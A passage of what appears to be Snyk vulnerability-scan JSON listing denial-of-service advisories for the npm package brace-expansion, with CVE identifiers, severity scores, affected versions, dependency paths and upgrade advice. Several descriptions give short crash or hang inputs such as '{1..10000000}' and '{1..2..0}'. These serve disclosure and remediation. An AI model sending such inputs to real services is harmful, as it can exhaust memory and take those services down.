"https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size 